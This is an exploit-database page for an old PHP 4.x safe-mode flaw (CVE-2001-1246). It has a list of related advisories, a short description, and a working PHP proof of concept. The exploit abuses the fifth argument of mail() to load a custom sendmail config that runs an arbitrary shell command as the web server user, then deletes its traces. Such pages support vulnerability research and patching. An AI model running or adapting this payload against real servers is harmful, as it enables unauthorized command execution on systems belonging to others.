PHP 4.x - SafeMode Arbitrary File Execution
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| PHP < 4.1.0 Safe Mode Mail Function Command Execution | 20 Aug 200400:00 | – | nessus | |
| Mandrake Linux Security Advisory : php (MDKSA-2002:059) | 31 Jul 200400:00 | – | nessus | |
| PHP Safe Mode mail Function 5th Parameter Arbitrary Command Execution | 2 Jul 200100:00 | – | nessus | |
| RHEL 2.1 : php (RHSA-2002:129) | 6 Jul 200400:00 | – | nessus | |
| CVE-2001-1246 | 25 Jun 200204:00 | – | cve | |
| CVE-2001-1246 | 25 Jun 200204:00 | – | cvelist | |
| CVE-2001-1246 | 30 Jun 200104:00 | – | nvd | |
| PT-2001-2378 · Php · Php | 30 Jun 200100:00 | – | ptsecurity | |
| Important: Red Hat Security Advisory: php security update | 26 Jun 200200:00 | – | redhat | |
| Important: Red Hat Security Advisory: : : : New PHP packages fix vulnerabilities | 30 Jun 200314:37 | – | redhat |
10
source: https://www.securityfocus.com/bid/2954/info
PHP is the Personal HomePage development toolkit, distributed by the PHP.net, and maintained by the PHP Development Team in public domain.
A problem with the toolkit could allow elevated privileges, and potentially unauthorized access to restricted resources. A local user may upload a malicious php script, and execute it with a custom query string.
This makes it possible for a local user to execute commands as the HTTP process UID, and potentially gain access with the same privileges of the HTTP UID.
It has been reported that the proposed fix does not entirely fix the problem, as it's possible to pass command line parameters to sendmail when safe_mode is enabled. This may be done through the 5th argument permitted by safe_mode.
<?
$script=tempnam("/tmp", "script");
$cf=tempnam("/tmp", "cf");
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.08486